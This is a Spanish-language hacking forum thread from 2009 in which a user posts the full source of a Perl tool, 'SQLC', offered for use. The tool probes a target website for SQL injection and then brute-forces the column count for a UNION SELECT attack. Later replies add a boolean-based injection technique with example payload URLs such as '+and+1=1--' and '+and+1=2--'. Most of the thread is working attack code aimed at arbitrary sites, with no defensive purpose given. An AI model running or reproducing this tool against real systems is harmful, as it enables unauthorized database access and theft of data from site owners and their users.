[Tool] SQLC (SQL Columnator) - by xassiz

Iniciado por xassiz_, 20 Diciembre 2009, 15:08 PM

0 Miembros y 1 Visitante están viendo este tema.

xassiz_

SQLC (SQL Columnator) - by xassiz



SQLC es mi herramienta en Perl, capaz de devolverte el número de columnas de una web, luego de comprobar si realmente es vulnerable.


Un ejemplo de su uso:




Aquí teneis el código:

Código (perl) [Seleccionar]

#!/usr/bin/perl

use LWP::UserAgent;

if (!$ARGV[0]) {


print q (


          .d8888.  .d88b.  db       .o88b.
          88'  YP .8P  Y8. 88      d8P  Y8
         `8bo.    88    88 88      8P     
           `Y8b.  88    88 88      8b     
         db   8D  `8P  d8' 88booo. Y8b  d8
         `8888Y'   `Y88'Y8 Y88888P  `Y88P'


                 [+] Modo de uso:

  perl SQLC.pl http://www.target.com/news.php?id=

           -------------------------------

                  Coded by xassiz


);

exit 1;

}

print q (


          .d8888.  .d88b.  db       .o88b.
          88'  YP .8P  Y8. 88      d8P  Y8
         `8bo.    88    88 88      8P     
           `Y8b.  88    88 88      8b     
         db   8D  `8P  d8' 88booo. Y8b  d8
         `8888Y'   `Y88'Y8 Y88888P  `Y88P'

);

$target = $ARGV[0];

print("\n [+] Website a atacar: $target \n\n");
print("\n [?] Comprobando vulnerabilidad \n");

$vulnerabilidad = LWP::UserAgent->new() or die;
$comprobacion = $vulnerabilidad->get($target."-1+union+select+69--");

if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacion->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{

print("\n [+] Objetivo Vulnerable \n\n\a");
print("\n [?] Buscando numero de columnas \n");

$count = 2;
$max = 500;

$precolumnator = LWP::UserAgent->new() or die;
$precolumns = $precolumnator->get($target."-1+union+select+0x78617373697a--");

if ($precolumns->content =~ /xassiz/)
{
print("\n [+] La website tiene 1 columna \n\n\a");

exit 1;
}

$inject = ",0x78617373697a";

while ($count <= $max) {

$columnator = LWP::UserAgent->new() or die;
$columns = $columnator->get($target."-1+union+select+0x78617373697a".$inject."--");

if ($columns->content =~ /xassiz/)
{
print("\n [+] La website tiene $count columnas \n\n\a");
exit 1;
}

$inject = $inject.",0x78617373697a";
$count ++;
}

print("\n [-] No se encontro el numero de columnas \n\n\a");
exit 1;

} else {

print("\n [-] Objetivo No Vulnerable \n\n\a");

exit 1;

}

#Autor = xassiz;
#Blog  = http://xassiz.blogspot.com;



Espero que os guste amigos!  Saludos


PD: podeis complementarla con SQL Copy Column, que le indicas el numero de columnas y directamente te pone la inyección en el portapapeles :D



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE

WHK

Hola, está entretenido, lo voy a agregar al post de recopilaciones  :P aver si le das un par de actualizaciones para que sea cada ves mejor  :D.

Saludos.

xassiz_

Cita de: WHK en 20 Diciembre 2009, 15:30 PM
Hola, está entretenido, lo voy a agregar al post de recopilaciones  :P aver si le das un par de actualizaciones para que sea cada ves mejor  :D.

Saludos.
Gracias WHK ;D Hay que contar que es mi primera tool en perl xD



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE

~ Yoya ~

pss, dectecta solo sqli si la web tira errores o si no no, porque no hases un +and+1=1 y +and+1=0 y luego conparas el codigo de fuente aver si son iguales y diferentes... Con eso puedes dectectar si es vulnerable.

Saludos!
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

08l00D

Cita de: yoyahack en 21 Diciembre 2009, 15:48 PM
pss, dectecta solo sqli si la web tira errores o si no no, porque no hases un +and+1=1 y +and+1=0 y luego conparas el codigo de fuente aver si son iguales y diferentes... Con eso puedes dectectar si es vulnerable.

Saludos!
No siempre, muchas webs renuevan su contenido dinamicamente y por lo tanto se cambia el codigo de la web tambien ...

~ Yoya ~

si es vulnerable a sqli debe funcionar, ya que dectecta los posibles errores sqli y si no tira errores no lo dectecta, aunque sea vulnerable a sqli, yo tengo una tools similar y al principio la hice que dectecte los posibles errores sqli y por muchas recomendaciones la hice que conparara el numero de lineas.

if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacon->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

YST

Cita de: yoyahack en 22 Diciembre 2009, 01:47 AM
si es vulnerable a sqli debe funcionar, ya que dectecta los posibles errores sqli y si no tira errores no lo dectecta, aunque sea vulnerable a sqli, yo tengo una tools similar y al principio la hice que dectecte los posibles errores sqli y por muchas recomendaciones la hice que conparara el numero de lineas.

if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacon->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{

Esas me suenan a las palabras de OzX :xD ¿El te lo recomendo no ? Por que en varias tool lo hacia de esa manera :P

Por cierto esa es una estupenda manera contando el numero de "\n"


Yo le enseñe a Kayser a usar objetos en ASM

~ Yoya ~

Sip, al principio yo comparava los dos codigos de fuente aver si heran iguales y asi era mas lento y gastaba mas recursos, luego me recomendo que saque el numero de lineas y lo compare xD.

Gran tio xD.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

xassiz_

Cita de: yoyahack en 22 Diciembre 2009, 22:35 PM
Sip, al principio yo comparava los dos codigos de fuente aver si heran iguales y asi era mas lento y gastaba mas recursos, luego me recomendo que saque el numero de lineas y lo compare xD.

Gran tio xD.

No me estoy enterando mucho de lo que decís xD

A que os referís con el número de lineas? del codigo de la pagina entera?



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE

~ Yoya ~

Ej:

Tengo esta url vulnerable a SQLI

www.pagina.com/index.php?ud=1

Entonse hare dos peticiones, una con +and+1=1-- y otra con +and+1=2--
Y quedaria asi:
www.pagina.com/index.php?ud=1+and+1=1--
www.pagina.com/index.php?ud=1+and+1=2--

Le hago una peticion get a cada una y guardo el codigo de fuente en dos variables o arrays.
Luego le saco el numero de linea a una variable que almacena el codigo de fuente y le saco el numero de linea a la otra variable que almacena el codigo de fuente, luego si el numero de linea de las dos variables son iguales la web no es vulnerable pero si los numeros de linea son diferente las web es vulnerable.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.